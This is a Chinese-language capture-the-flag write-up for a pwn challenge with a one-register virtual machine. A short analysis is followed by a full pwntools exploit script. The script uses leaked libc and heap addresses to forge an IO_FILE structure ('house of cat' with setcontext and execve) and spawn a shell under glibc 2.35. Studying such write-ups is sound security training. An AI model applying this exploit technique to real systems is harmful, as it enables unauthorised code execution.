# 鼠鼠也是手搓过 VM 薯薯的啦# 题目分析
未知 libc 版本,这里按照 2.35 的 Glibc 进行操作。 实现的 VM 只有一个寄存器,但是可以利用 unsorted bin 残留的 libc 指针实现任意地址读写。 但是只有一个寄存器有点鸡肋,于是采用栈的方法依次修改。 就是首先把所有操作以及地址存到栈上面,最后通过 pop 进行各自的读写操作。 由于末尾添加了 exit 函数,got 表不可写 (Full RELRO),绕过 got 进行栈上劫持执行流是不行了。 高版本 hook 基本都没了 exithook 还要位移的运算,但是指令集没有提供,所以这条路没法走。 所以还是乖乖打 IO_FILE。这里采用 house of cat
# Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 from pwn import *from Crypto.Util.number import long_to_bytes,bytes_to_longcontext.log_level='debug' context(arch='amd64' ,os='linux' ) context.terminal=['tmux' ,'splitw' ,'-h' ] pwn = './pwn4' p=process('./pwn4' ) code=b'' def push_reg (): global code code+=p64(1 ) def pop_reg (): global code code+=p64(2 ) def mov_reg_sp (): global code code+=p64(3 ) def xor_reg_imm (imm ): global code code+=p64(4 )+p64(imm) def mov_reg_reg (): global code code+=p64(5 ) def add_reg_imm (imm ): global code code+=p64(6 )+p64(imm) def sub_reg_imm (imm ): global code code+=p64(7 )+p64(imm) pop_reg() push_reg() one=0xebcf1 sh=0x1d8698 system=0x50d60 pop_rdi=0x2a3e5 sub_reg_imm(0x000073081c019ce0 -0x73081be00000 ) def libc_push_libc_addr (off ): add_reg_imm(off) push_reg() sub_reg_imm(off) def libc_get_heap_base (): add_reg_imm(0x7b65704193c0 -0x7b6570200000 ) mov_reg_reg() def heap_base_get_libc_base (): add_reg_imm(0x2a0 ) mov_reg_reg() sub_reg_imm(0x00007b6570419ce0 -0x7b6570200000 ) def libc_push_heap_addr (off ): libc_get_heap_base() add_reg_imm(off) push_reg() sub_reg_imm(off) heap_base_get_libc_base() def heap_base_push_heap_addr (off ): add_reg_imm(off) push_reg() sub_reg_imm(off) io_wfile_jumps=0x02160C0 fakeio=0x5bc4242d52d0 -0x5bc4242d4000 +0x10 +0xc00 libc_push_libc_addr(io_wfile_jumps+0x30 ) libc_push_heap_addr(fakeio+0xd8 ) setcon61=0x053A30 +61 libc_push_libc_addr(setcon61) libc_push_heap_addr(fakeio+0x118 +0x18 ) libc_push_libc_addr(sh) libc_push_heap_addr(fakeio+0x138 +0x68 ) libc_push_libc_addr(0x7b657041b000 -0x7b6570200000 +0x300 ) libc_push_heap_addr(fakeio+0x138 +0xa0 ) execve=0xeb0f0 libc_push_libc_addr(execve) libc_push_heap_addr(fakeio+0x138 +0xa8 ) libc_get_heap_base() heap_base_push_heap_addr(fakeio+0x138 ) heap_base_push_heap_addr(fakeio+0x50 ) heap_base_push_heap_addr(fakeio+0x30 ) heap_base_push_heap_addr(fakeio+0xa0 ) heap_base_push_heap_addr(fakeio+0x118 ) heap_base_push_heap_addr(fakeio+0x110 ) heap_base_push_heap_addr(fakeio) heap_base_get_libc_base() add_reg_imm(0x21A680 ) mov_reg_sp() pop_reg() for i in range (8 ): pop_reg() mov_reg_sp() pop_reg() gdb.attach(p,"b _IO_switch_to_wget_mode" ) payload=code.ljust(0xc00 -0x10 ,b'\x00' )+p64(0xffffffffffffffff )+p64(0xffffffffffffffff ) payload=payload.ljust(0xc30 ,b'\x00' )+p64(0 )*3 +p64(1 ) payload=payload.ljust(0xc00 +0xc0 ,b'\x00' )+p64(1 ) p.sendlineafter("Inputs your code:" ,payload.ljust(0x1000 ,b'\x00' )) p.interactive()